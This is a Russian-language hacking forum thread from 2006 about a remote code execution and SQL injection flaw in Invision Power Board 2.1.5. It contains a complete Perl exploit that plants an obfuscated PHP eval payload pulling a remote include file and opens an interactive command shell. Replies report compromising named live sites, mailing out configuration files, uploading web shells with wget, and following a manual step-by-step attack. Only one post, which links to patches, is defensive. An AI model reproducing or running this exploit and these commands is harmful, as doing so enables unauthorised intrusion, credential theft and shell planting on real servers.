Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   Уязвимость Invision Power Board 2.1.5 (https://forum.antichat.xyz/showthread.php?t=18222)

Go0o$E 26.04.2006 15:31

Уязвимость Invision Power Board 2.1.5
 
Программа: Invision Power Board
Уязвимые версии: 2.1.5 и, возможно, более ранние версии
Тип: remote
Опасность: высокая
Описание ->
1. Выполнение произвольного кода возможно из-за недостаточной фильтрации входящих от пользователя данных. Злонамеренный пользователь может сформировать текст сообщения, а затем выполнить произвольный код.
2. Подключение произвольных файлов возможно при наличии администраторских прав.
Пример:

_http://host/admin.php?adsess=…&section=content&act=msubs&cod e=install-gateway&name=%08%08%08%08%08%08%08%08%08/../class_gw_test*[/url]

3. SQL-инъекция в файле sources/lib/func_taskmanager.php
Злонамеренный пользователь может сформировать и выполнить произвольный запрос в базе данных (длина запроса не должна превышать 32 символа).
Пример:

_http://www.host.com/index.php?act=task&ck='

Решение: решения в настоящий момент не существует
Источник: spam_(at)_we11er.co.uk

SQL-инъекция работает, жаль ограничение 32 символа =(

Qwazar 26.04.2006 16:58

А про пункт 1 подробности есть? Или это всё про тот же известный Xss ?

Otaku 26.04.2006 17:32

Я не шибко понимаю в Sql. Какой нибудь толк от скуль иньекции есть этой? Ограничение есть ведь :(

tmp 26.04.2006 20:54

вот здесь по подробней, надо пробовать
http://www.securityfocus.com/archive.../30/0/threaded

andre 27.04.2006 02:04

## Invision Power Board 2.* commands execution exploit by RST/GHC
## vulnerable versions <= 2.1.5
## tested on 2.1.4, 2.0.2

Код:

#!/usr/bin/perl

## Invision Power Board 2.* commands execution exploit by RST/GHC
## vulnerable versions <= 2.1.5
## tested on 2.1.4, 2.0.2
##
## (c)oded by 1dt.w0lf
## RST/GHC
## http://rst.void.ru
## http://ghc.ru


use IO::Socket;
use Getopt::Std;

getopts("l:h:p:d:f:v:");

$host    = $opt_h;
$dir      = $opt_d;
$login    = $opt_l;
$password = $opt_p;
$forum    = $opt_f;
$version  = $opt_v || 0;

$|++;

header();
if(!$host||!$dir||!$login||!$password||!$forum) { usage(); }

print "[~]    SERVER : $host\r\n";
print "[~]      PATH : $dir\r\n";
print "[~]    LOGIN : $login\r\n";
print "[~]  PASSWORD : $password\r\n";
print "[~]    TARGET : $version";
print (($version)?(' - IPB 2.1.*'):(' - IPB 2.0.*'));
print "\r\n";

print "[~] Login ... ";

$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
$login    =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$password =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$post    = 'UserName='.$login.'&PassWord='.$password;
$loggedin = 0;
print $sock "POST ${dir}index.php?act=Login&CODE=01 HTTP/1.1\r\n";
print $sock "Host: $host\r\n";
print $sock "Connection: close\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-length: ".length($post)."\r\n\r\n";
print $sock "$post";
print $sock "\r\n\r\n";
while (<$sock>)

 if(/session_id=([a-f|0-9]{32})/) { $sid = $1; }
}
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
print $sock "GET ${dir}index.php HTTP/1.1\r\n";
print $sock "Host: $host\r\n";
print $sock "Cookie: session_id=$sid;\r\n";
print $sock "Connection: close\r\n\r\n";
while (<$sock>)
{   
 if(/act=Login&amp;CODE=03/) { $loggedin = 1; last; }
}
if($loggedin) { print " [ DONE ]\r\n"; }
else { print " [ FAILED ]\r\n"; exit(); }

print "[+] SID: $sid\r\n";

print "[~] Try get md5_check ...";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
if($version==1)
 {
 print $sock "GET ${dir}index.php?act=post&do=new_post&f=${forum} HTTP/1.1\r\n";
 }
else
 {
 print $sock "GET ${dir}index.php?act=Post&CODE=00&f=${forum} HTTP/1.1\r\n";
 }
print $sock "Host: $host\r\n";
print $sock "Cookie: session_id=$sid;\r\n";
print $sock "Connection: close\r\n\r\n";
while (<$sock>)
 { 
 if($version == 1 && /ipb_md5_check\s*= \"([a-f|0-9]{32})\"/)  { $md5_check = $1; last; }
 if($version == 0 && /auth_key' value='([a-f|0-9]{32})/) { $md5_check = $1; last; }
 }
close($sock);
if($md5_check) { print " [ DONE ]\r\n"; print "[+] MD5_CHECK : $md5_check\r\n"; }
else { print " [ FAILED ]\r\n"; exit(); }

print "[~] Create new message ...";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
$created = 0;
$text = 'r57ipbxplhohohoeval(include(chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(114).chr(115).chr(116).chr(46).chr(118).chr(111).chr(105).chr(100).chr(46).chr(114).chr(117).chr(47).chr(114).chr(53)'.
        '.chr(55).chr(105).chr(112).chr(98).chr(105).chr(110).chr(99).chr(46).chr(116).chr(120).chr(116))); //';
$post = "st=0&act=Post&s=&f=${forum}&auth_key=${md5_check}&removeattachid=0&CODE=01&post_key=&TopicTitle=justxpl&TopicDesc=justxpl&poll_question=&ffont=0&fsize=0&Post=${text}&enableemo=yes&enablesig=yes&iconid=0";
print $sock "POST ${dir}index.php HTTP/1.1\r\n";
print $sock "Host: $host\r\n";
print $sock "Cookie: session_id=$sid;\r\n";
print $sock "Connection: close\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-length: ".length($post)."\r\n\r\n";
print $sock "$post";
print $sock "\r\n\r\n";
while (<$sock>)
 { 
 if(/Location:/) { $created = 1; last; }
 }
if($created) { print " [ DONE ]\r\n"; }
else { print " [ FAILED ]\r\n"; exit(); }

$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
print "[~] Search message ...";
$post = 'keywords=r57ipbxplhohohoeval&namesearch='.$login.'&forums%5B%5D=all&searchsubs=1&prune=0&prune_type=newer&sort_key=last_post&sort_order=desc&search_in=posts&result_type=posts';
print $sock "POST ${dir}index.php?act=Search&CODE=01 HTTP/1.1\r\n";
print $sock "Host: $host\r\n";
print $sock "Cookie: session_id=$sid;\r\n";
print $sock "Connection: close\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-length: ".length($post)."\r\n\r\n";
print $sock "$post";
print $sock "\r\n\r\n";

while (<$sock>)
 {
 if(/searchid=([a-f|0-9]{32})/) { $searchid = $1; last; }
 }

if($searchid) { print " [ DONE ]\r\n"; }
else { print "[ FAILED ]\r\n"; exit(); }
print "[+] SEARCHID: $searchid\r\n";

$get = 'index.php?act=Search&CODE=show&searchid='.$searchid.'&search_in=posts&result_type=posts&highlite=r57ipbxplhohohoeval&lastdate=z|eval.*?%20//)%23e%00';

while ()
 {
    print "Command for execute or 'exit' for exit # ";
    while(<STDIN>)
    {
        $cmd=$_;
        chomp($cmd);
        exit() if ($cmd eq 'exit');
        last;
    }
    &run($cmd);
 }

sub run()
 {
  $cmd =~ s/(.*);$/$1/eg;
  $cmd =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
  $cmd2 = '%65%63%68%6F%20%5F%53%54%41%52%54%5F%20%26%26%20';
  $cmd2 .= $cmd;
  $cmd2 .= '%20%26%26%20%65%63%68%6F%20%5F%45%4E%44%5F';
  $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
 
  print $sock "GET ${dir}${get}&eharniy_ekibastos=$cmd2 HTTP/1.1\r\n";
  print $sock "Host: $host\r\n";
  print $sock "Cookie: session_id=$sid;\r\n";
  print $sock "Connection: close\r\n\r\n";

  $on = 0;
  $runned = 0;
  while ($answer = <$sock>)
  {
    if ($answer =~ /^_END_/) { return 0; }
    if ($on == 1) { print "  $answer"; }
    if ($answer =~ /^_START_/) { $on = 1; }
  }
 }
 
sub header()
 {
 print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n"; 
 print " Invision Power Board 2.* commands execution exploit by RST/GHC\r\n";
 print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
 }
 
sub usage()
 {
 print "r57ipbce.pl -h <host> -d <dir> -l <login> -p <password> -f <forum> -v <version>\r\n\r\n";
 print "<host>    - host where IPB installed e.g www.ipb.com\r\n";
 print "<dir>      - folder where IPB installed e.g. /forum/ , /ipb/ , etc...\r\n";
 print "<login>    - login of any exist user\r\n";
 print "<password> - and password too )\r\n";
 print "<forum>    - number of forum where user can create topic e.g 2,4, etc\r\n";
 print "<version>  - forum version:\r\n";
 print "            0 - 2.0.*\r\n";
 print "            1 - 2.1.*\r\n";
 exit();
 }

проверял на 2.1.5 - работает

EST a1ien 27.04.2006 09:47

Rst/ghc опять порадовали нас свойми сплойтами и как всагда там какойнибудь сюрприз :)

jagga_man 27.04.2006 09:50

да он есть 100% ) нужно копаться в коде)

0verfe1 27.04.2006 11:14

у меня всё ок,почти тока когда надо выполнять команду,ввожу и всё равно ничего =)),сейчас буду пробывать на других форумах
Код:

[~]    TARGET : 0 - IPB 2.0.*
[~] Login ...  [ DONE ]
[+] SID: eba6aea1bb52b4e2b96e71496c1d019d
[~] Try get md5_check ... [ DONE ]
[+] MD5_CHECK : 37b1d4a901d9fa423421d1c3b04181c9
[~] Create new message ... [ DONE ]
[~] Search message ... [ DONE ]
[+] SEARCHID: 57404f05bbfa5153ffd009ac0782d291
Command for execute or 'exit' for exit # id
Command for execute or 'exit' for exit # ls -la
Command for execute or 'exit' for exit # uname -a
Command for execute or 'exit' for exit # exit

в чем может быть проблема ?

и ещё очень часто:
Код:

[~] Login ...  [ DONE ]
[+] SID: 1cac47e9bc3eb086a6931ebb997d926b
[~] Try get md5_check ... [ FAILED ]


AoD 27.04.2006 14:19

В сплоите в 95 строке есть зашифрованая в charsete ссылка _http://rst.void.ru/r57ipbinc.txt с содержимым

Код:

<?
/*
r57ipbce exploit include file
*/
passthru($_GET['eharniy_ekibastos']);
?>


Go0o$E 27.04.2006 15:35

Очень даже хорошо работает exploit! Проверил на lineageii.ru.

0verfe1 27.04.2006 16:06

да отлично работает =))) просто не на всех форумах

Azazel 27.04.2006 16:31

Описание баги http://www.securityfocus.com/archive.../30/0/threaded
Ручками тоже работает замечательно.

Carle-On-Line 27.04.2006 17:46

Так я не пойму, есть шифровка в сплойте или нет!?

limpompo 27.04.2006 17:52

ЕСТЬ! тебе же сказали это в 9 посте

http://forum.antichat.ru/showpost.ph...11&postcount=9

Otaku 27.04.2006 18:32

Хм... У меня сплойт пишет
[~] Create new message ... [ FILED ]

На форуме появляется новая тема с мессагой. В сообщении эта самая шифровка из 95 строки.

byte57 27.04.2006 19:08

с шифровкой понятно, идем по линку, и по идее из того текстовика нужно вставить код в сплоит, чет не выходит, у кого получилось?

degeneration x 27.04.2006 19:40

на 2.1.x не всегда работает. На 2.0.x всё ок! Отправил на мыло себе conf_global.php =))

Black_Death 28.04.2006 16:20

На команды нету ответа...чё за нах?
Вот видео: http://globalka.narod.ru/exp.rar

nec 28.04.2006 18:03

а если адресс форума не www.***/forum а www.forum.***.ru то как прописать?

злюка 28.04.2006 18:20

-h www.forum.***.ru -d /

dasNICK 28.04.2006 19:37

Цитата:

Сообщение от degeneration x
на 2.1.x не всегда работает. На 2.0.x всё ок! Отправил на мыло себе conf_global.php =))

А это какой командой если не секрет ?

злюка 28.04.2006 22:13

А это какой командой если не секрет ?

например cat имя_файла| mail твоё_мыло

dasNICK 29.04.2006 00:09

Оппа.. забавно..
А Shell в папку Uploads у меня не залился.. Или опять всё из-за врождённой криворукости ?

degeneration x 29.04.2006 00:23

Цитата:

Сообщение от злюка
А это какой командой если не секрет ?

например cat имя_файла| mail твоё_мыло

да, именно этой.

Токо странно, почему не всегда получается выполнять команды, хотя я на 100% уверен, что форум не пропатчен. Иногда бывает ещё, что вместо того, чтобы вывести результат команды(например того-же ls -la), он мне выводит html код страницы. Странно всё это...

dasNICK 29.04.2006 00:35

А по моему правильно ls -lia

Команда put запрещена для анонимов как известно.. А другой я не знаю.. Какой командой залить шелл если это вообще можно сделать

Rebz 29.04.2006 00:57

инфа для админов:
Чтобы пофиксить данную багу, зайдите на http://ibresource.ru/ Там уже есть заплатки, которые можно скачать. В частности, >> здесь <<

Rebz 29.04.2006 00:58

dasNICK, неважно, как .. ls -la; или ls- lia. Можно вообще просто ls.
-la - это просто параметры.

dasNICK 29.04.2006 01:14

Знаю.. просто действительно ls -la не работет у меня а ls -lia пашет

oseLHAX 29.04.2006 03:21

Цитата:

Сообщение от Black_Death
На команды нету ответа...чё за нах?
Вот видео: http://globalka.narod.ru/exp.rar

гы... бывают идиоты которые на виндовой тачке пытаются сделать ls -la; :D ROFL
малчык тыбэ скока лэт?
изучи команды cmd сначала.. dir пробуй.. если получиться значит точно надо учить..

Utochka 29.04.2006 07:44

Может кто даст наводку как исправить сплойт, а то с перлом не очень дружу ((

Или в личку если нехотите писать тут, всем кто поможет + )

Tem 29.04.2006 09:04

А что у тебя не пашет ?

degeneration x 29.04.2006 09:22

Вот цитата с dl

Цитата:

Тем, у кого эксплоит не выполняет команды:
Изучите внимательно сорец. Зная стиль Вульфа, я не мог не обратить внимания на эту строчку

Код:

$text = 'r57ipbxplhohohoeval(include(chr(104).chr(116).chr(116).chr(112).chr(58).
chr(47).chr(47).chr(114).chr(115).chr(116).chr(46).chr(118).chr(111).chr(105).
chr(100).chr(46).chr(114).chr(117).chr(47).chr(114).chr(53)'.
    '.chr(55).chr(105).chr(112).chr(98).chr(105).chr(110).chr(99).chr(46).chr(116).chr(120).chr(116))); //';

Несколько строк на перле - и вы увидите, что там скрывается. А когда увидите, то 100% поймете, почему команды могут не выполняться

Azazel 29.04.2006 12:01

Цитата:

Сообщение от Azazel
Описание баги http://www.securityfocus.com/archive.../30/0/threaded
Ручками тоже работает замечательно.

Для тех у кого не получается со сплойтом, опишу как пользоваться ручками.
1. Постим сообщение eval(system(dir)); //'
2. В поиске ищем по своему нику все сообщения и не забываем поставить галочку на Show results as posts
3. В конце url дописываем &lastdate=z|eval.*?%20//)%23e%00
4. Enter. Выполняется dir.

k1b0rg 29.04.2006 12:26

чо вы все прицепились к сплойту а? он рабочий, на 2.1.* может иногда не работать.

для тренировки попробуйте

-h resa.ipbhost.com -d / -l Des -p 123 -f 48 -v 0

Black_Death 29.04.2006 12:50

Цитата:

гы... бывают идиоты которые на виндовой тачке пытаются сделать ls -la; ROFL
малчык тыбэ скока лэт?
изучи команды cmd сначала.. dir пробуй.. если получиться значит точно надо учить..
Ну ты даёшь!!!)))) Еще раз тебе поясню: не выполняется ни одна команда и на одном форуме! На локалхосте спокойно должна выполняться команда echo, но она тож не пашет!!!

dasNICK 29.04.2006 14:40

У меня всё отлично пашет.. Сплоит исправил.. НО !
Кто знает как залить shell ??? put , get и прочее запрещены для анонимнгого доступа. Подскажите команду которой это можно мделать

k1b0rg 29.04.2006 14:48

Цитата:

Кто знает как залить shell ??? put , get и прочее запрещены для анонимнгого доступа.
ну если put и get отказываються работать, попробуй header и post.

dasNICK 29.04.2006 15:33

Эммм.. туплю конечно, но этих команд не знаю..
шел на C: как залить в аплоадс ? ))

Black_Death 29.04.2006 16:02

Цитата:

Эммм.. туплю конечно, но этих команд не знаю..
шел на C: как залить в аплоадс ? ))
Если он у тебя на компе, то надо залить на сайт (ну на народе например) далее командой cd перейти в аплоадс и wget'ом залить туда шелл

злюка 29.04.2006 16:36

Цитата:

Сообщение от karapuz
вот у меня везде ошибки вида :
...
[~] Create new message ... [ FAILED ]
не подскажите в чем причина?

ну например вариант когда не у всех пользователей есть права постить сообщения


Время: 01:28